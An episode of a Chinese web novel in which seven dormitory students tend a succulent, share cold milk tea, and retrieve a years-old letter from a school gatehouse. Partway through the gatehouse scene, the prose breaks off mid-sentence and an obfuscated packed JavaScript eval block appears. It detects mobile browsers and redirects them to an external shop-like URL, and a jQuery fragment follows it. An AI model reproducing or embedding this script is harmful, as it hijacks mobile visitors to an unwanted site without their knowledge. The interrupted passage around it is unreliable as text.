番外一：
---
【周五·晚十九点三十分·男生宿舍·公共休息区】
陆微躺在沙发上。
他今天睡了四次。
按理说这个点应该睡第五次了。
但他没有。
因为公共休息区实在太吵了。
——不，不是吵。
是那种“每个人都在用自己的方式说话，但谁也没听懂谁”的吵。
【靳朕·陈述事实型】
「陆微的心率较五分钟前上升7%。」
「他醒着。」
孟萌：“……他眼睛闭着。”
「闭眼不必然等于睡眠。」
「闭眼与睡眠的相关性系数为0.83，置信区间95%。」
「存在17%的概率——」
“好了好了。”孟萌把他面前的平板按下去，“他在装睡，我们都知道。”
「陈述事实。」靳朕说。
「不是装。」
「是闭眼。」
陆微睁开眼睛。
他看着靳朕。
三秒。
“……你真的很烦。”
「陈述事实。」
陆微又把眼睛闭上了。
【陈熠·用靳朕的逻辑打败靳朕型】
陈熠靠在另一张沙发上，手里拿着一本英语书。
第七单元。
他今天补到第七单元了。
“靳朕。”
「嗯。」
“你那个‘未知’文件夹，现在多少条了？”
「样本M-001·非理性善意输入：51条。」
「样本C-000·历史观测数据：710天完整存档。」
「样本0-000·遗物：1部手机，1枚U盘，1张未发送草稿。」
「其他：17条。」
陈熠翻了一页书。
“分类算法还写不写？”
「写。」
“什么时候写？”
「等你写完第七单元。」
陈熠抬起头。
“……你在等我？”
「陈述事实。」
陈熠看着他。
三秒。
他把英语书翻到第八单元。
“……今天写完。”
「预期可行。」
孟萌在旁边看着。
他忽然意识到——这两个人不是在吵架。
是在用对方能听懂的方式说“我在等你”。
靳朕等陈熠写完第七单元。
陈熠等靳朕说“我在等你”。
——他们都等到了。
【陆微·选择性参与型】
陆微还闭着眼睛。
但他开口了。
“……周湛那盆多肉今天浇水了吗？”
没有人回答。
三秒。
五秒。
他睁开眼睛。
“……我问你们话。”
方迟从角落里抬起头。
“浇了。”
“你浇的？”
“嗯。”
“几点？”
“十六点四十七分。”
陆微沉默了三秒。
“……你记这么清楚干嘛。”
方迟没有回答。
但他把手机屏幕转过来。
屏幕上是一个表格。
「多肉浇水记录.xlsx」
「日期｜时间｜浇水人｜备注」
「12.18｜06:23｜周湛｜花苞出现」
「12.18｜10:17｜陆微｜阳光好，挪位置」
「12.18｜16:47｜方迟｜土略干，补浇」
「12.19｜07:03｜周湛｜花开了」
「12.19｜12:07｜程渊｜路过，顺便」
「12.19｜18:30｜靳朕｜路过，顺便」
「12.19｜21:17｜陈熠｜测土壤酸碱度」
「——」
「备注：孟萌每天路过，没浇过水。」
孟萌：“……你为什么记我？”
方迟：“你为什么不浇？”
孟萌：“我怕浇死了！”
方迟沉默了三秒。
他把表格关掉。
“陆微。”
“嗯？”
“他怕浇死。”
陆微看了孟萌一眼。
“……你知道多肉最好养的是什么品种吗？”
孟萌摇头。
“就是周湛那盆。”
“——”
“养了两年七个月。”
“在疗养院没人管它。”
“都没死。”
“——”
“你浇不死的。”
孟萌沉默了。
五秒后。
他站起来。
“……我去看一下。”
他走出休息室。
靳朕跟着站起来。
「样本M-001。」
「旧音乐厅在反方向。」
孟萌的脚步顿了一下。
“……我知道。”
「陈述事实。」
「——」
「陪你。」
【周湛·延迟响应型】
周湛是十分钟之后来的。
他手里端着两杯奶茶。
——冻的。
——刘阿姨说特供结束了。
——但他去的时候，刘阿姨正在后厨洗杯子。
“还剩两杯。”她说。
“冻的。”
“没人喝。”
“你喝不喝？”
他说喝。
他就端着两杯来了。
他把其中一杯放在方迟面前。
方迟低头看着那杯奶茶。
杯壁上凝着水珠。
“……给我的？”
“嗯。”
“为什么？”
周湛没有回答。
他端着另一杯，在空沙发上坐下。
低头喝了一口。
很久。
“……你昨天说你想喝。”
方迟愣了一下。
“我昨天说我想喝？”
“嗯。”
“什么时候？”
“十二点零七分。”
“——”
“食堂二号窗。”
“——”
“刘阿姨问你们几个人喝。”
“——”
“你说四个。”
“——”
“程渊说五个。”
“——”
“陈熠说六杯。”
“——”
“靳朕说七杯。”
他顿了顿。
“——”
“最后做了七杯。”
“——”
“你喝的那杯是程渊让给你的。”
“——”
“你自己那杯，没喝到。”
方迟沉默了。
他看着那杯奶茶。
——杯壁上凝着水珠。
——冻的。
——和昨天程渊让给他的那杯，一模一样。
“……你记这么清楚干嘛。”他说。
周湛没有回答。
他把奶茶喝完。
站起来。
“花浇了吗？”
“浇了。”
“几点？”
“十六点四十七分。”
周湛点点头。
他往门口走。
走了两步。
又停下来。
“……明天早上六点。”
“——”
“食堂。”
“——”
“刘阿姨说奶茶特供续一天。”
“——”
“你去不去？”
方迟低头看着那杯还没喝的奶茶。
很久。
“……去。”
“——”
“几点？”
“六点。”
“——”
“六点起不来。”
“——”
“七点。”
“——”
“七点二十。”
周湛没有回头。
但他站在门口。
“……我设闹钟。”
他说。
“——”
“三个。”
“——”
“五分钟一次。”
“——”
“总有一个会响。”
门关上了。
方迟低头。
那杯奶茶还是冻的。
杯壁上的水珠，一滴一滴往下滑。
他端起来。
喝了一口。
——和七年前那杯，一模一样。
【程渊·话题终结者型】
程渊是最后一个来的。
他把机车钥匙扔在茶几上。
发出咣当一声。
陆微睁开眼睛。
“……你能不能轻点。”
“不能。”
程渊在沙发上坐下。
“这钥匙跟了我三年。”
“——”
“摔过十七次。”
“——”
“每次摔完声音都不一样。”
“——”
“咣当是第十三次的声音。”
“——”
“十四次是哐啷。”
陆微沉默了。
“……你为什么记这个？”
程渊想了想。
“不知道。”
“——”
“可能因为我爸也记这些。”
“——”
“他以前跟我说——”
“人这辈子会摔很多东西。”
“——”
“钥匙、杯子、笔。”
“——”
“还有自己。”
“——”
“摔完了记得捡起来就行。”
休息室安静了三秒。
陈熠从英语书里抬起头。
“他什么时候说的？”
“七年前。”
“——”
“走之前。”
“——”
“站在校门口。”
“——”
“他看着那辆出租车开远。”
“——”
“然后他说——”
程渊顿了一下。
“‘摔完了记得捡起来。’”
“‘——对自己说的。’”
陈熠没有说话。
他把英语书合上。
第八单元。
他补完了。
【洛知予·闯入型】
洛知予是冲进来的。
“你们怎么都不回消息！！！”
他举着手机。
屏幕上是论坛。
「【紧急】旧音乐厅台阶边那盆多肉旁边多了一封信！！！」
「楼主：深海鱿鱼丝」
「内容：本人刚才路过，发现多肉旁边压着一个信封。」
「收件人：周湛」
「寄件人：——」
「空白。」
休息室安静了三秒。
周湛站起来。
“我去看看。”
方迟站起来。
“我陪你去。”
陆微睁开眼睛。
“……我也去。”
他站起来。
又坐下。
“……算了。”
“——”
“你们去。”
“——”
“我在这等消息。”
程渊站起来。
“我去看看是不是我爸又塞信了。”
陈熠站起来。
“我也去。”
靳朕站起来。
「样本M-001。」
「旧音乐厅。」
「——」
「陪你。」
孟萌站在门口。
他手里还端着那杯没喝完的奶茶。
“……我还没去看花。”
「先去。」
「花不会跑。」
「——」
「信会。」
七个人。
走出休息室。
走廊很长。
日光灯一闪一闪。
陆微躺在沙发上。
闭着眼睛。
三秒。
五秒。
他站起来。
“……算了。”
他把外套穿上。
——他也去。
——
【周五·晚二十点十七分·旧音乐厅门口】
月光很好。
那盆多肉静静地立在台阶边。
叶片绿油油的。
粉色的小花已经谢了。
——花只开了两天。
——但没有人失望。
——因为还会再开。
周湛蹲下来。
花盆旁边压着一个信封。
牛皮纸。
边角泛黄。
封口用透明胶带补过。
——和渊七年前塞进门卫室窗台的那个，一模一样。
他把信封拿起来。
收件人：周湛
寄件人：空白
他拆开。
里面只有一行字。
「周湛：」
「——」
「你三年前塞进门卫室窗台的那封信。」
「我取走了。」
「——」
「没看。」
「因为那是你写给三年后自己的。」
「——」
「现在三年过去了。」
「你自己看。」
「——」
「信在门卫室窗台。」
「老张说它还留着。」
「——」
「去取吧。」
「——」
「——渊」
周湛看着那行字。
很久。
然后他把信折起来。
放进口袋。
站起来。
“我去门卫室。”
方迟看着他。
“……现在？”
“嗯。”
“——”
“再不去。”
“——”
“老张该下班了。”
方迟沉默了三秒。
“……我陪你去。”
陆微站在台阶边。
他看着那盆多肉。
“……花谢了。”他说。
“——”
“明天还会开。”周湛说。
“——”
“信也是。”
“——”
“丢了三年。”
“——”
“该找回来了。”
他转身。
走向校门口。
方迟跟在他后面。
陆微站在原地。
三秒。
五秒。
“……我在这等。”他说。
“——”
“万一又有信来。”
“——”
“我帮你们收着。”
程渊看着他。
“……你不是困了吗。”
“困。”
“——”
“困也可以等。”
程渊没有说话。
他在台阶边坐下。
“那我陪你等。”
陈熠站着。
他看着那盆多肉。
很久。
“……靳朕。”
「嗯。」
“花谢了。”
「会再开。」
“你怎么知道？”
「周湛信。」
「——」
「陆微信。」
「——」
「方迟信。」
「——」
「你也信。」
「——」
「所以会开。」
陈熠没有说话。
他看着那朵谢了的花。
很小。
粉色。
花瓣落在土里。
——像一滴干了很久的眼泪。
“……你信吗？” 他问。
「信。」
「——」
「你教的。」
「——」
「观测是陈述事实。」
「担心是陈述事实之后——」
「不想让那个事实发生。」
「——」
「等待是担心之后——」
「相信那个事实会被改变。」
陈熠看着他。
很久。
“……我什么时候教你这个了？”
「0713。」
「——」
「雨天。」
「实验室走廊。」
「你撞翻了我的笔记本。」
「你说：对不起。」
「我说：没关系。」
「——」
「然后你说：」
「‘你在这里等很久了吗？’」
「——」
「我说：」
「‘在等你来撞我。’」
「——」
「你说：」
「‘那你怎么知道我会来？’」
「——」
「我说：」
「‘不知道。’」
「‘——’」
「‘但可以等。’」
陈熠没有说话。
月光照在他的脸上。
把他的睫毛影子落在颧骨上。
——和七年前那个雨天，一模一样。
“……你记这么清楚。” 他说。
「嗯。」
「——」
「二十三滴。」
「七分钟。」
「十七秒。」
「——」
「都在文件夹里。」
「——」
「存着。」
---
【周五·晚二十点四十七分·校门口】
老张今天下班晚了十分钟。
不是不想走。
是门口站着两个人。
周湛。
方迟。
——他们站在那里，谁都没说话。
老张把门卫室的灯开着。
他坐在窗口后面。
等他们开口。
三分钟。
五分钟。
周湛先开口。
“张师傅。”
“嗯。”
“三年前——”
“——”
“我往窗台缝里塞过一封信。”
“——”
“写给三年后自己的。”
“——”
“您还记得吗？”
老张看着他。
十二年了。
什么样的学生他都见过。
——但这种的，他记得。
“……记得。” 他说。
“——”
“渊来取走了。”
“——”
“七年前他走的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218666|197471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时候。”
“塞了一封信。”
“——”
“三年后你回来。”
“他替你取了那封信。”
“——”
“他说——”
“等你来取的时候。”
“告诉他。”
“——”
“信还在。”
“——”
“他没看。”
“——”
“给你留着。”
周湛没有说话。
他把手伸进窗台缝。
摸了一圈。
——摸到了。
信封是牛皮纸的。
边角泛黄。
封口用透明胶带补过。
——和三年前他塞进去的时候，一模一样。
他把它拿出来。
上面有四个字。
他的字迹。
「周湛·三年后」
他拆开。
里面只有一行字。
「周湛：」
「——」
「你还会回来吗？」
「——」
「会的话，就把这封信取走。」
「不会的话，就让风吹走。」
「——」
「——写于三年前」
他看了很久。
然后他从口袋里摸出笔。
在信的背面写：
「会。」
「——」
「回来了。」
「——」
「写于三年后」
他把信折起来。
放进口袋。
“……谢谢张师傅。” 他说。
老张点点头。
“明天还来借喷壶？” 他问。
“来。”
“——”
“花谢了。”
“——”
“要浇水。”
“——”
“等它再开。”
老张没有说话。
他把保温杯盖拧紧。
“行。” 他说。
“——”
“喷壶给你留着。”
---
【周五·晚二十一点零三分·旧音乐厅门口】
周湛回来了。
方迟站在他旁边。
陆微还坐在台阶上。
——他没睡。
——程渊也没走。
——陈熠还在。
——靳朕还在。
——孟萌端着那杯凉透的奶茶，站在台阶边。
七个人。
和一盆多肉。
周湛把那封信从口袋里拿出来。
展开。
「你还会回来吗？」
背面是他的字：
「会。」
「回来了。」
他看了三秒。
然后把信折起来。
放进口袋。
和渊写给他的那封放在一起。
“……信取到了。” 他说。
“嗯。” 方迟。
“写的什么？” 陆微。
“问我还会不会回来。”
“你怎么回的？”
周湛没有回答。
他把手伸进口袋。
摸出手机。
打开相册。
翻到早上拍的那张照片——
多肉。
谢了的花。
落在土里的粉色花瓣。
他把手机屏幕转向陆微。
“——”
“这就是回信。”
陆微低头看着那张照片。
三秒。
五秒。
“……花会再开的。” 他说。
“嗯。”
“信也会再写的。”
“嗯。”
“——”
“那你下次写什么？”
周湛想了想。
“写——”
“今天花谢了。”
“——”
“但明天还会开。”
“——”
“等你来看。”
---
【周五·晚二十一点四十七分·男生宿舍·楼道】
七个人。
从旧音乐厅走回来。
陆微走在最前面。
他困了。
真的很困。
但他没有说。
程渊走在他旁边。
机车钥匙在口袋里晃。
——咣当，咣当。
陆微转头看他。
“……你能不能别晃。”
“不能。”
“为什么？”
“因为晃习惯了。”
“——”
“三年。”
“——”
“钥匙在口袋里晃的声音。”
“——”
“像有人陪我走路。”
陆微沉默了。
三秒。
他把手伸进口袋。
摸出自己的钥匙。
——也开始晃。
程渊看着他。
“……你干嘛。”
“陪你走路。”
“——”
“走快点。”
“——”
“我想睡觉了。”
——
方迟走在后面。
周湛走在他旁边。
两个人都没有说话。
但他们的钥匙都在口袋里晃。
——哐啷。
——咣当。
——两种声音。
——踩在同一个节奏上。
——
陈熠和靳朕走在队伍最后。
孟萌走在他们中间。
他手里那杯奶茶，已经彻底凉了。
但他没扔。
「样本M-001。」
“嗯。”
「奶茶温度：12℃」
「——」
「超过最佳饮用温度阈值。」
「——」
「建议：丢弃。」
孟萌低头看着那杯奶茶。
“……不丢。”
「为什么？」
「——」
「你在观测。」
孟萌愣了一下。
“……什么？”
「你在观测这杯奶茶——」
「从热的变成凉的。」
「——」
「这是观测。」
「——」
「不想让它被丢掉。」
「——」
「这是担心。」
「——」
「相信它还能喝。」
「——」
「这是等待。」
「——」
「你教的。」
孟萌看着那行字。
很久。
他把那杯凉透的奶茶举起来。
喝了一口。
——确实不好喝了。
——但他还是喝完了。
「口感评分下降47%。」
「——」
「但样本M-001没有丢弃。」
「——」
「存档。」
「——」
「文件名：奶茶·编号001。」
「——」
「备注：凉的也很好。」
---
【周五·晚二十二点零三分·男生宿舍·楼道】
七个人站在岔路口。
陆微往左。
程渊往右。
方迟往左。
周湛往右。
陈熠往左。
靳朕往右。
孟萌站在原地。
左边是通往他宿舍的走廊。
右边是通往靳朕宿舍的走廊。
他看了看左边。
又看了看右边。
「样本M-001。」
“嗯。”
「你在观测。」
“……我在想走哪边。”
「观测时长：7秒。」
「——」
「决策延迟超阈值。」
「——」
「需要协助吗？」
孟萌看着他。
“……你怎么协助？”
靳朕没有说话。
他往右边走了两步。
停下来。
——没有回头。
——但他在等。
孟萌看着他的背影。
三秒。
他往右边走了。
——
陆微站在左边走廊的尽头。
他回头看了一眼。
程渊已经走到右边走廊的中间了。
钥匙还在晃。
——咣当，咣当。
陆微把钥匙塞进口袋深处。
晃不出来了。
他推开门。
灯没开。
他躺在床上。
天花板是白色的。
没有裂纹。
没有水渍。
隔壁没有人在喊“有人要毒死我”。
只有钥匙声。
——从右边走廊，隔着两堵墙，隐隐约约传过来。
咣当。
咣当。
他闭上眼睛。
三秒。
五秒。
——他睡着了。
——今晚没有做梦。
——只梦见七个人。
——走在同一条走廊上。
——钥匙晃着不同的节奏。
——但脚步声是齐的。
---